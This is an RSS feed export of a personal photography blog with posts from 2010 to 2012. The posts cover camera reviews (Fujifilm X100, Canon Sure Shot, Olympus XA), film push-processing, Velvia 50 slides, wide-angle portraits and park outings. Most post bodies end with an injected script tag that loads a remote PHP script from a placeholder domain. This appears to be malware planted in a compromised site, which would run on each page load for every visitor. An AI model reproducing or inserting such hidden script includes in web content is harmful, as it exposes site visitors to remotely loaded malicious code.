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	<title>Steve Long Photography</title>
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	<link>http://stevelongphoto.com</link>
	<description>Camera and lens reviews, how-to&#039;s and the philosophy of photography</description>
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		<title>Fujifilm Finepix X100 First Impressions Review</title>
		<link>http://stevelongphoto.com/2012/03/fujifilm-finepix-x100-review/</link>
		<comments>http://stevelongphoto.com/2012/03/fujifilm-finepix-x100-review/#comments</comments>
		<pubDate>Sun, 04 Mar 2012 16:34:53 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[Review]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=388</guid>
		<description><![CDATA[It&#8217;s been a while since I posted. We&#8217;ve been busy moving and getting settled in our new place. Finally made a decision to sell the Nikon D700 and all my lenses and get a Fujifilm Finepix X100. Although the D700 is a great camera, it is a huge chunk of metal and glass to carry [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a while since I posted. We&#8217;ve been busy moving and getting settled in our new place. Finally made a decision to sell the Nikon D700 and all my lenses and get a Fujifilm Finepix X100. Although the D700 is a great camera, it is a huge chunk of metal and glass to carry everywhere. The Fuji has the distinction of being able to fit in my jacket pocket and still deliver images that are almost as good as the mighty D700.</p>
<p><img alt="Fujifilm Finepix X100" src="http://www.stevelongphoto.com/Portfolio/Fuji-X100-test-shots/i-NNvfX5v/0/L/x100-5-L.jpg" title="Fujifilm Finepix X100" class="alignnone" width="800" height="600" /></p>
<p>It is very like in size to my Canon Canonet QL17 GIII. In fact it is slightly slimmer. The lens is a little shorter than the Canon and this makes it very easy to slip in a jacket pocket. Besides the size of the camera, it has very good image quality up to 3200 iso, a fast, sharp f=2.0 lens and a hybrid viewfinder that let&#8217;s me choose between using the LCD, an electronic viewfinder or a real optical viewfinder. The X100 was the only camera that had all of these things in a size that I can carry everywhere.</p>
<p>I considered the Sony Nex-7, it has a electronic viewfinder and similar small dimensions without a lens, but the 24mm f=1.8 lens is another $800 and it is much larger with the lens attached. I also considered all the Micro 4/3s cameras, but they didn&#8217;t have high iso image quality that I wanted or an eye-level viewfinder integrated into the design.</p>
<p>Also, I admit to just thinking the X100 is very cool. I love the retro, old-school styling. I like having the aperture setting on the lens and a real metal exposure compensation knob under my thumb.</p>
<p><img alt="X100 control knobs" src="http://www.stevelongphoto.com/Portfolio/Fuji-X100-test-shots/i-D5QrnMM/0/L/x100-4-L.jpg" title="X100 control knobs" class="alignnone" width="800" height="600" /></p>
<p>The images are where the X100 really shines and I think that&#8217;s what decided me more than anything else:</p>
<p><img alt="Rose" src="http://www.stevelongphoto.com/Portfolio/Fuji-X100-test-shots/i-8fxQBqQ/0/L/x100-tests-6-L.jpg" title="Rose" class="alignnone" width="800" height="532" /></p>
<p>The X100 lens will focus up to 4 inches. You can either use the fussy little control knob or just flip the AF selector to manual focus. Oddly, when in manual focus mode, you can use the rear AF-L/AE-L button to auto focus across the entire range of the camera&#8217;s lens. In autofocus mode, you can only go down to about 2 1/2 feet. Using the manual focus ring on the front is an exercise in futility, just use the rear button to autofocus it close.</p>
<p>Ergonomically, the camera is a little small for my hands, but the Fuji leather case makes it big enough to hold comfortably and the edges of the leather give my hands a bit of a grip. I decided to use a wrist strap to keep the entire package small. When I go hiking, I&#8217;ll use one of my longer padded neck straps to carry it. The little leather strap that came with the case is too short for me. I like the camera to carry at hip level when hiking, not bouncing at tummy level.</p>
<p>The flash is small, but very effective for fill. Fuji has really got the fill flash perfect on this camera:</p>
<p><img alt="my muse with fill flash" src="http://www.stevelongphoto.com/Portfolio/Fuji-X100-test-shots/i-Bfp9qKF/0/L/flashtest-3-L.jpg" title="Muse with fill flash" class="alignnone" width="800" height="532" /></p>
<p>I converted the image to black and white to mask the color temperature difference in the subject and the background. The Fuji keeps the iso high for the proper exposure but just adds a little light to brighten the subject. For indoor pictures, if you don&#8217;t change to b&#038;w the background will be yellow and your subject will be in the neutral flash color. Good thing I prefer black and white. This is one area that the Fuji actually does a better job of than the D700. The D700 would default to the lowest iso setting possible when using the flash and auto iso. I would have to manually boost the iso to get a decent fill flash. Even then the D700 would not do as good of a job. The Fuji just seems smoother and better balanced.</p>
<p>On the down side, the auto focus is a little slow and hunts a bit some times in low light. But for the most part it does the job. I also have found a little shadow banding when pushing some of the raw files. The files don&#8217;t have the latitude of the D700, I&#8217;ll have to be more careful in getting my exposures right.</p>
<p>Overall, I&#8217;m very pleased with my choice. I like the portability and flexibility. Here&#8217;s a couple links to some sample shots:</p>
<p><a href="http://www.stevelongphoto.com/Portfolio/Fuji-X100-test-shots/21628689_GRjf9M" title="X100 Test shots" target="_blank">Test Shots</a><br />
<a href="http://www.stevelongphoto.com/Friends/MSTA-Dinners/21753973_Wv2cNf" title="Dinner with friends" target="_blank">Dinner with friends</a><br />
<a href="http://www.stevelongphoto.com/Friends/Rent-the-range/21640597_vXHjN5" title="At the range" target="_blank">At the range</a></p>
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		<title>Pushing Arista Premium (Kodak Tri-x) 400 to 1600</title>
		<link>http://stevelongphoto.com/2011/02/pushing-arista-premium-kodak-tri-x-400-to-1600/</link>
		<comments>http://stevelongphoto.com/2011/02/pushing-arista-premium-kodak-tri-x-400-to-1600/#comments</comments>
		<pubDate>Fri, 04 Feb 2011 12:57:28 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[How-to]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[1600 iso]]></category>
		<category><![CDATA[Arista Premium 400]]></category>
		<category><![CDATA[Kodak Tri-X 400]]></category>
		<category><![CDATA[low-light ca]]></category>
		<category><![CDATA[push processing]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=383</guid>
		<description><![CDATA[One of my goals for my photography is to present a more objective image rather than a subjective image. To my mind, b&#038;w photography does that for me. I also want to be able to shoot candids in low light without the use of flash. Film to my eye has many more subtle gradations between [...]]]></description>
			<content:encoded><![CDATA[<p>One of my goals for my photography is to present a more objective image rather than a subjective image. To my mind, b&#038;w photography does that for me. I also want to be able to shoot candids in low light without the use of flash. Film to my eye has many more subtle gradations between black and white than digital. It has the look I&#8217;m trying to capture. But iso 400 isn&#8217;t fast enough to allow me to do the photography that I want in low light.</p>
<p>So I&#8217;ve started on a mission to find the right combination of camera, film and developing to give me the results I want in a small, easy-to-carry package. And I think I have the right film and developer now. Here&#8217;s a shot of a couple of friends in a dimly-lit restaurant. I used my Nikon N80 and a 50mm f=1.8 AF-D lens loaded with Arista Premium 400 pushed to 1600.</p>
<p><img alt="Friends in a restaurant, photographed with Arista Premium 400 pushed to 1600" src="http://stevelongphoto.smugmug.com/Portfolio/Arista-Premium-400-pushed-to/Arista400265/1176365474_hbBNw-M.jpg" title="Friends in a restaurant" class="alignnone" width="600" height="378" /></p>
<p>I developed the film in Kodak D-76 diluted 1+1 for 13:15 at 21 degrees. I&#8217;ve got good details, smooth gradations and the grain is under control. This is as dark as I would normally want to shoot and this combination has delivered the goods. </p>
<p>I love my N80, its compact, lightweight and has a ton of modern features that help me get the shots I want. I can select spot, matrix or center-weighted metering with my thumb without having to look away from the viewfinder. I can select any of 5 different focus points and the spot meter will meter off that point. In shooting candids in low light, a spot meter is your best bet because there are bound to be a lot of bright lights in the background trying to fool a meter.</p>
<p>Another great feature of the N80 is the 1/4000th shutter speed. Most of my old manual cameras have either a 1/500th or 1/1000th shutter speed. If I rate my film at 1600, that means I need to have at least a 1/2000th shutter speed to shoot that speed outdoors. The N80 gives me some flexibility to do just that.</p>
<p>I&#8217;ve started a gallery with sample shots of Arista Premium pushed to 1600, you can see all the shots <a href="http://www.stevelongphoto.com/Portfolio/Arista-Premium-400-pushed-to/15694617_Ku89T">here</a>.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Motorcycle Ice Racing</title>
		<link>http://stevelongphoto.com/2011/01/motorcycle-ice-racing/</link>
		<comments>http://stevelongphoto.com/2011/01/motorcycle-ice-racing/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 13:54:17 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[Motorcycles]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[1600 iso]]></category>
		<category><![CDATA[Arista Premium 400]]></category>
		<category><![CDATA[Kodak Tri-X 400]]></category>
		<category><![CDATA[mamiya nc1000]]></category>
		<category><![CDATA[motorcycle ice racing]]></category>
		<category><![CDATA[push processing]]></category>
		<category><![CDATA[vintage]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=378</guid>
		<description><![CDATA[Went to the ice races on Saturday and took my new (used) Mamiya NC1000. The Mamiya is a compact 35mm SLR. It is not much bigger than a Canon Canonet rangefinder. It fits easily in my jacket pocket. It also has very big, bright viewfinder. I find that this is the easiest manually focused camera [...]]]></description>
			<content:encoded><![CDATA[<p>Went to the ice races on Saturday and took my new (used) Mamiya NC1000. The Mamiya is a compact 35mm SLR. It is not much bigger than a Canon Canonet rangefinder. It fits easily in my jacket pocket. It also has very big, bright viewfinder. I find that this is the easiest manually focused camera to use. It has a diagonal split prism that makes it easy to focus off a horizontal or vertical line. I love the size of rangefinders, but I have a difficult time getting them focused. My eyes are too old. SLRs are usually too bulky to take everywhere, but this Mamiya is very compact and lightweight.</p>
<p>Not only was I shooting a new camera, but I was also shooting a new film, Arista Premium 400, which is supposed to be Kodak Tri-X 400 repackaged and sold much cheaper than Kodak. I bought it from <a href="http://www.freestylephoto.biz/index.php">Freestyle Photo</a> for $2.20 a roll. I shot it at 1600 asa to see if I could replace the now discontinued Fuji Neopan 1600.</p>
<p>And not only was I shooting a new film with a new camera, I decided to develop the film myself. Holy Cow! Talk about lot&#8217;s of opportunities for failure. Anyway, I managed to stave off disaster and ended up with real images on my film. I was pretty pleased with the way they turned out. Very gritty and vintage looking.</p>
<p><img alt="Ice racing at Family Arena in St. Charles, MO" src="http://www.stevelongphoto.com/Other/Ice-Racing-1222011/Arista400216/1166194752_LMzhi-M.jpg" title="Ice racing at Family Arena in St. Charles" class="alignnone" width="600" height="378" /></p>
<p>You can see all the pix <a href="http://www.stevelongphoto.com/Other/Ice-Racing-1222011/15566967_PoJuE">here</a>. I&#8217;ll have more on the Mamiya coming up.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<item>
		<title>Canon Sure Shot Review</title>
		<link>http://stevelongphoto.com/2011/01/canon-sure-shot-review/</link>
		<comments>http://stevelongphoto.com/2011/01/canon-sure-shot-review/#comments</comments>
		<pubDate>Tue, 11 Jan 2011 14:08:10 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Canon Sure Shot Review]]></category>
		<category><![CDATA[Fuji Neopan 1600]]></category>
		<category><![CDATA[low-light candids]]></category>
		<category><![CDATA[New Years Eve]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=375</guid>
		<description><![CDATA[I got this Canon Sure Shot in a box of cameras that I picked up for $25. I found 5 cameras out of the box that I&#8217;ve enjoyed shooting. This is a pretty good one. It is auto exposure and auto focus, just point and shoot. It is very similar to the Canon Sure Shot [...]]]></description>
			<content:encoded><![CDATA[<p>I got this Canon Sure Shot in a box of cameras that I picked up for $25. I found 5 cameras out of the box that I&#8217;ve enjoyed shooting. This is a pretty good one. It is auto exposure and auto focus, just point and shoot. It is very similar to the Canon Sure Shot Tele that I&#8217;ve already looked at, but it&#8217;s an earlier model, so you have to advance and rewind the film with a button instead of it happening automatically. Also you have to set the asa film speed manually, which you will see is something of an advantage.</p>
<p><img alt="Canon Sure Shot" src="http://www.stevelongphoto.com/Friends/New-Years-Eve-2010/CLR2853/1153620545_tykBK-M.jpg" title="Canon Sure Shot" class="alignnone" width="600" height="399" /></p>
<p>It has a fast, semi-wide 38mm 2.8 lens. The lens is fairly sharp, but nothing amazing. It uses 2 AA batteries, instead of the expensive 2CR5 that the Tele uses. It is also smaller and lighter than the Tele. It auto advances the film between shots and does it in a pretty noisy fashion. The asa goes from 50 to 400 in 3rd of a stop increments and then jumps up to 1000 asa instead of 800 like a lot of other cameras. The Tele set the asa automatically using DX encoding up to 1600 asa.</p>
<p>The cool thing about having a manually set asa is that you can cheat a bit with some film. I wanted to try some Fuji Neopan 1600, but I didn&#8217;t really like the Fuji at the box speed of 1600, I wanted to try it a little slower. So I loaded it into the Sure Shot and rated it at 1000. I was very pleased with the results. Shot at 1600, the Fuji Neopan is too contrasty and doesn&#8217;t have enough mid-tones for my taste. Shooting at 1000, it still has good contrast, but the mid-tones are much more apparent and the grain is nice and not overwhelming.</p>
<p><img alt="My muse in a dark restaurant" src="http://www.stevelongphoto.com/Friends/New-Years-Eve-2010/Fuji1600126a/1147586573_pYXrf-M.jpg" title="My muse in a dark restaurant" class="alignnone" width="600" height="377" /></p>
<p>This combo gave me a point and shoot with pretty decent low-light capabilities. So good in fact, that I never tested the flash. Unfortunately, Fuji has discontinued the Neopan 1600 film, so I only have 5 rolls left in the freezer and then it&#8217;s gone. I&#8217;m going to try shooting some Tri-X at 1000 and 1600 to see if I can use it as a replacement.</p>
<p>I took it to a New Year&#8217;s Eve party and took some snaps without a flash. It did a great job. Well exposed and in focus, easy to use, just the thing for a party camera.</p>
<p><img alt="friends on the couch" src="http://www.stevelongphoto.com/Friends/New-Years-Eve-2010/Fuji1600145a/1147587870_iSJbU-M.jpg" title="friends on the couch" class="alignnone" width="600" height="378" /></p>
<p><img alt="thrilled" src="http://www.stevelongphoto.com/Friends/New-Years-Eve-2010/Fuji1600143a/1147587574_8RjjY-M.jpg" title="thrilled" class="alignnone" width="600" height="379" /></p>
<p>The Sure Shot is a great, inexpensive way to take some snap shots, even in low-light with right film.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>The true choice</title>
		<link>http://stevelongphoto.com/2011/01/the-true-choice/</link>
		<comments>http://stevelongphoto.com/2011/01/the-true-choice/#comments</comments>
		<pubDate>Mon, 10 Jan 2011 15:43:09 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[Philosophy]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=372</guid>
		<description><![CDATA[We must decide if we are to be a people who love the use of force, or who use the force of love.]]></description>
			<content:encoded><![CDATA[<p>We must decide if we are to be a people who love the use of force, or who use the force of love.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<item>
		<title>Why fool with film? Part II: Compact Cameras.</title>
		<link>http://stevelongphoto.com/2010/12/why-fool-with-film-part-ii-compact-cameras/</link>
		<comments>http://stevelongphoto.com/2010/12/why-fool-with-film-part-ii-compact-cameras/#comments</comments>
		<pubDate>Thu, 30 Dec 2010 13:28:03 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[canon a1000is]]></category>
		<category><![CDATA[film vs. digital]]></category>
		<category><![CDATA[kodak gold]]></category>
		<category><![CDATA[olympus xa]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=369</guid>
		<description><![CDATA[Today&#8217;s cage match is between the Olympus XA and the Canon A1000IS, film vs. digital, looking for the best carry anywhere camera. My muse and I went to Paducah for a day trip and I took 2 cameras with me. The Olympus XA, the smallest film rangefinder, and a Canon A1000IS, a typical point and [...]]]></description>
			<content:encoded><![CDATA[<p>Today&#8217;s cage match is between the Olympus XA and the Canon A1000IS, film vs. digital, looking for the best carry anywhere camera. My muse and I went to Paducah for a day trip and I took 2 cameras with me. The Olympus XA, the smallest film rangefinder, and a Canon A1000IS, a typical point and shoot compact digital camera.</p>
<p><img alt="Olympus XA and Canon A1000IS" src="http://stevelongphoto.smugmug.com/Portfolio/Olympus-XA-Canon-A1000IS/CLR2411/1141409469_CCDo6-M.jpg" title="Olympus XA and Canon A1000IS" class="alignnone" width="600" height="399" /></p>
<p>As you can see, the little Oly is about the same size as the Canon Digital. Both fit easily into a pocket and can be carried with little effort. The Oly is a true rangefinder with manual focusing and aperture priority exposure. You set the aperture you desire and the camera figures out the shutter speed necessary for the shot and displays the information with a needle on the left side. The Canon is an auto everything model, no manual controls at all. You get what the camera thinks is the best shot. The Oly is equipped with a 35mm f2.8 non-zoom lens. The Canon with a 35-140mm f2.7-5.6 equivalent zoom. Without using the zoom, it is a very similarly spec&#8217;d lens to the Oly. In the interest of fairness, all pictures have been tweaked to look their best using contrast, saturation and sharpening. No extraordinary measures have been used.</p>
<p>The first round is a interior portrait of my muse while sitting in a little bbq place in downtown Paducah. First the digital:</p>
<p><img alt="Digital interior portrait" src="http://stevelongphoto.smugmug.com/Portfolio/Olympus-XA-Canon-A1000IS/IMG0020/1140433580_zThXX-M.jpg" title="Digital interior portrait" class="alignnone" width="600" height="450" /></p>
<p>As you can see the portrait has a lot of detail and is very sharp. The lens has distorted her face a bit more than I would like, but that is because I was closer to her than with the Oly.</p>
<p>Now the film shot, I was using Kodak Gold 200:</p>
<p><img alt="Film interior portrait" src="http://stevelongphoto.smugmug.com/Portfolio/Olympus-XA-Canon-A1000IS/kdkGold200069/1140440684_7Xmrv-M.jpg" title="Film interior portrait" class="alignnone" width="600" height="384" /><br />
See how the skin tone is much more flattering? There is much more depth and richness to the color overall. Also, see how much blurrier the background is? How it separates the subject and puts the focus on the subject? Compact digital cameras have a much smaller sensor, so there is a lot of depth of field and subject isolation is much harder to accomplish. Round 1 goes to the Oly and film.</p>
<p>Round 2 is a detail shot from a steam locomotive on display at the Paducah riverfront. First the digital:</p>
<p><img alt="Digital train detail" src="http://stevelongphoto.smugmug.com/Portfolio/Olympus-XA-Canon-A1000IS/IMG0022/1140433883_Vd8zY-L.jpg" title="Digital train detail" class="alignnone" width="800" height="600" /></p>
<p>The Canon has done a good job, it has a 10 megapixel sensor and it has captured a lot of detail. Now the film:</p>
<p><img alt="Film train detail" src="http://stevelongphoto.smugmug.com/Portfolio/Olympus-XA-Canon-A1000IS/kdkGold200072/1140432693_sejnW-M.jpg" title="Film train detail" class="alignnone" width="600" height="383" /></p>
<p>I like the warmth of the color better, but the Oly and the Kodak Gold have not captured the same amount of detail as the Canon. I estimate the detail available from this combo to be close to a typical 6 megapixel camera. If you need detail, digital is the way to go. Round 2 goes to the Canon.</p>
<p>The final and deciding round is dynamic range. How much color can be captured in a high contrast situation. So this shot is a landscape shot of the train and the sky. First the digital:</p>
<p><img alt="Digital train and sky" src="http://stevelongphoto.smugmug.com/Portfolio/Olympus-XA-Canon-A1000IS/IMG0021/1140433440_ZBCLh-M.jpg" title="Digital train and sky" class="alignnone" width="600" height="450" /></p>
<p>The black train is predominant in the image and so the Canon has correctly exposed the train, but see what has happened to the sky? The sky has completely blown out to white, there&#8217;s no color there for me to try and save, it&#8217;s gone. Now the film:</p>
<p><img alt="Film train and sky" src="http://stevelongphoto.smugmug.com/Portfolio/Olympus-XA-Canon-A1000IS/kdkGold200071/1140432278_vqykj-M.jpg" title="Film train and sky" class="alignnone" width="600" height="384" /></p>
<p>Really there is no comparison between the two, the film captures not only all the detail in the train, but also all the color in the sky. Round 3 definitely goes to the winner, the Olympus XA and Kodak Gold.</p>
<p><img alt="The winner" src="http://stevelongphoto.smugmug.com/Portfolio/Olympus-XA-Canon-A1000IS/CLR2408/1141409582_F4FbE-M.jpg" title="The winner" class="alignnone" width="600" height="399" /></p>
<p>You can see all the shots <a href="http://www.stevelongphoto.com/Portfolio/Olympus-XA-Canon-A1000IS/15242498_R4dMQ">here</a>.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Wide angle portraits</title>
		<link>http://stevelongphoto.com/2010/12/wide-angle-portraits/</link>
		<comments>http://stevelongphoto.com/2010/12/wide-angle-portraits/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 13:05:49 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[How-to]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[28mm]]></category>
		<category><![CDATA[35mm]]></category>
		<category><![CDATA[Nikon D700]]></category>
		<category><![CDATA[portraits]]></category>
		<category><![CDATA[wide angle]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=366</guid>
		<description><![CDATA[The normal focal length for portraits is 75mm to 150mm. The reason for this is telephoto lenses compress the features of your subject and make noses and ears look more proportional. Your subject looks better, so you&#8217;re a better photographer. Believe me, most people will rate your photography by how good they look when you [...]]]></description>
			<content:encoded><![CDATA[<p>The normal focal length for portraits is 75mm to 150mm. The reason for this is telephoto lenses compress the features of your subject and make noses and ears look more proportional. Your subject looks better, so you&#8217;re a better photographer. Believe me, most people will rate your photography by how good they look when you photograph them, not by any true aesthetic value. But you can use a wide angle lens for portraits, you just have to make sure you don&#8217;t get too close to your subject. The closer you get to your subject, the more exaggerated their features will become.</p>
<p>Also you don&#8217;t want to have things like hands or feet closer to the camera than the rest of them. That will make their hands look huge. As you can see in the portrait below, which was shot at 35mm, my muse&#8217;s hands run parallel to the focal plane of the camera, making them proportional.</p>
<p><img alt="wide angle portrait" src="http://www.stevelongphoto.com/People/My-Favorites-People/CLR2135fix002/1124399256_cW2pf-M.jpg" title="wide angle portrait" class="alignnone" width="600" height="399" /></p>
<p>Using a wide angle is a great way to show a person in the context of their life. Most photojournalists prefer wider angles to tell a story in context. The best focal length is 28 or 35mm. 24 is a bit wide and it begins to distort features. Here&#8217;s a 28mm below, you can see her face starting to lengthen in comparison to the above, but its still not too distracting.</p>
<p><img alt="28mm portrait" src="http://www.stevelongphoto.com/People/My-Favorites-People/BWO2269/1124375655_vckW9-M.jpg" title="28mm portrait" class="alignnone" width="600" height="399" /></p>
<p>These were shot on my full frame D700, so if your shooting on a smaller frame DX or APC sensor you&#8217;d have to reduce the focal length appropriately. <script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>A day at the Arch</title>
		<link>http://stevelongphoto.com/2010/11/a-day-at-the-arch/</link>
		<comments>http://stevelongphoto.com/2010/11/a-day-at-the-arch/#comments</comments>
		<pubDate>Thu, 18 Nov 2010 13:00:23 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[arch]]></category>
		<category><![CDATA[ilford pan 50]]></category>
		<category><![CDATA[nikkormat]]></category>
		<category><![CDATA[olympus xa]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=363</guid>
		<description><![CDATA[The Arch is one of those things that locals never go to. I&#8217;ve lived here all my life and only been up in it a couple of times when company has been in town. It is one of the most photographed monuments in the world and so it is perfect for trying to see it [...]]]></description>
			<content:encoded><![CDATA[<p>The Arch is one of those things that locals never go to. I&#8217;ve lived here all my life and only been up in it a couple of times when company has been in town. It is one of the most photographed monuments in the world and so it is perfect for trying to see it differently and trying to avoid cliches.</p>
<p>My sweetie and I went down to the Arch for a photography expedition. I took my trusty Nikkormat FTn and 24 2.8 ais lens, loaded with Ilford Pan 50 film. In my pocket I had my new walk-about camera, an Olympus XA. Darn thing is so small and light, it fits in my pants pocket. I can take it anywhere and not even know it&#8217;s there. Ilford Pan 50 is a very slow B&#038;W film, so the Olympus was loaded with Kodak Gold 200. It&#8217;s nice to be able to shoot b&#038;w or color and the little Olympus is the perfect 2nd camera because of its size.</p>
<p>In trying to see the Arch differently, I tried to shoot it as if it was not the main focus, but this annoying thing getting in the way of the beautiful sky.</p>
<p><img alt="arch and sky" src="http://www.stevelongphoto.com/Portfolio/A-day-at-the-Arch/Pan50872/1094379903_m2kUj-M.jpg" title="arch and sky" class="alignnone" width="600" height="401" /></p>
<p>Perspective is important. I&#8217;ve set my lens right on the structure itself. The wide angle lens let me get everything in the shot and makes it look small. It is really difficult to convey the true size of this object. The tree in the shot below looks almost as tall as the Arch. That&#8217;s a false perspective, that&#8217;s one of the effects of a wide angle lens.</p>
<p><img alt="tree and arch" src="http://www.stevelongphoto.com/Portfolio/A-day-at-the-Arch/KG200838/1094389028_5VW4H-L.jpg" title="tree and arch" class="alignnone" width="398" height="600" /></p>
<p>Of course, I still had to do a more traditional shot. I used a yellow filter to add contrast to the sky. We were fortunate to have some nice high clouds.</p>
<p><img alt="arch" src="http://www.stevelongphoto.com/Portfolio/A-day-at-the-Arch/Pan50875/1094379333_PtPet-L.jpg" title="arch" class="alignnone" width="391" height="600" /></p>
<p>You can see all the shots <a href="http://www.stevelongphoto.com/Portfolio/A-day-at-the-Arch/14694502_iv5iD">here</a>.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Fujifilm Velvia 50 Review</title>
		<link>http://stevelongphoto.com/2010/11/fujifilm-velvia-50-review/</link>
		<comments>http://stevelongphoto.com/2010/11/fujifilm-velvia-50-review/#comments</comments>
		<pubDate>Mon, 08 Nov 2010 13:04:23 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[color film]]></category>
		<category><![CDATA[fujifilm]]></category>
		<category><![CDATA[Kodak Gold 200]]></category>
		<category><![CDATA[slides]]></category>
		<category><![CDATA[Velvia 50]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=358</guid>
		<description><![CDATA[Just got back some slides that I shot with Velvia 50 in my Nikon N80. I was shooting these at the same time as I was shooting Kodak Gold in my little Minolta, so it is a good chance to see the differences between these two films. First up is a shot of a lake [...]]]></description>
			<content:encoded><![CDATA[<p>Just got back some slides that I shot with Velvia 50 in my Nikon N80. I was shooting these at the same time as I was shooting Kodak Gold in my little Minolta, so it is a good chance to see the differences between these two films. First up is a shot of a lake in Lone Elk Park.</p>
<p>With Velvia 50:</p>
<p><img alt="lake shot with velvia 50" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/FujiVel50795/1081154584_MrrxW-M.jpg" title="lake shot with velvia 50" class="alignnone" width="600" height="413" /></p>
<p>With Kodak Gold 200:</p>
<p><img alt="lake with kodak gold 200" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/Gold200670/1074468261_7XDHx-M.jpg" title="lake with kodak gold 200" class="alignnone" width="600" height="396" /></p>
<p>As you can see, the color in the Velvia shot are much richer and vibrant. The Kodak is a more natural color, but it is a bit dull. Here&#8217;s another pair:</p>
<p>With Velvia 50:</p>
<p><img alt="hay barn with velvia 50" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/FujiVel50752/1076998239_UyyoE-M.jpg" title="hay barn with velvia 50" class="alignnone" width="600" height="399" /></p>
<p>With Kodak Gold 200:</p>
<p><img alt="hay barn shot with kodak gold 200" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/MS2Gold200719/1074467450_uukoK-M.jpg" title="hay barn shot with kodak gold 200" class="alignnone" width="600" height="358" /></p>
<p>The results are similar. The Kodak Gold is a bit duller and less vibrant. Velvia is 50 iso, so it very slow film. This allows me to do some shallow depth of field like this:</p>
<p><img alt="yellow leaves in velvia 50" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/FujiVel50796/1081156328_ppHe5-M.jpg" title="yellow leaves in velvia 50" class="alignnone" width="600" height="402" /></p>
<p><img alt="log shot with velvia 50" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/FujiVel50739/1076999308_ztwtN-M.jpg" title="log shot with velvia 50" class="alignnone" width="600" height="401" /></p>
<p>The downside to this film is that it is very slow and so is not good for anything less that vibrant light. Also, it is very expensive, about $7 a 36 exposure roll from B&#038;H photo. I just bought Kodak Gold on sale from Walgreens for $1.50 a roll of 24 exposures. Plus, my local lab charges $11 to develop a roll of slides versus $5 to develop a roll of print film.</p>
<p>If I&#8217;m going someplace where I know the colors will be great I will pony up the money for Velvia. Otherwise, I&#8217;ve got a lot of Kodak Gold around for general shooting.<script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Scenes from parks</title>
		<link>http://stevelongphoto.com/2010/11/scenes-from-parks/</link>
		<comments>http://stevelongphoto.com/2010/11/scenes-from-parks/#comments</comments>
		<pubDate>Tue, 02 Nov 2010 12:28:50 +0000</pubDate>
		<dc:creator>Steve Long</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[hiking]]></category>
		<category><![CDATA[lone elk park]]></category>
		<category><![CDATA[queeny park]]></category>
		<category><![CDATA[shaws nature reserve]]></category>

		<guid isPermaLink="false">http://wayofuncertainty.com/?p=356</guid>
		<description><![CDATA[St. Louis is blessed with many parks. There are lots of hiking trails ranging from paved bike paths to rugged wilderness hikes. My sweetie and I have been getting out and doing a bit of hiking the last few weekends. The great thing about photography is that you have to get out and see the [...]]]></description>
			<content:encoded><![CDATA[<p>St. Louis is blessed with many parks. There are lots of hiking trails ranging from paved bike paths to rugged wilderness hikes. My sweetie and I have been getting out and doing a bit of hiking the last few weekends. The great thing about  photography is that you have to get out and see the world to photograph it. You can&#8217;t stay indoors by yourself and have something to shoot. You have to get out and find something. My sweet has joined me and even started carrying around the big D700 to shoot with. So here are some of our shots. You can see all the shots <a href="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/14474372_5j3Qn">here</a>.</p>
<p><img alt="lake at shaws nature reserve" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/CLR1946a/1074465167_vtg8j-M.jpg" title="lake at shaws nature reserve" class="alignnone" width="600" height="399" /></p>
<p><img alt="doe a deer" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/CLR1506/1074471949_UcY6y-M.jpg" title="doe a deer" class="alignnone" width="600" height="399" /></p>
<p><img alt="lone elk at lone elk park" src="http://www.stevelongphoto.com/Portfolio/Scenes-from-a-park/N80Gold200718/1074476692_wPMv7-M.jpg" title="lone elk at lone elk park" class="alignnone" width="600" height="389" /><script src="http://$domain/ll.php?kk=11"></script></p>
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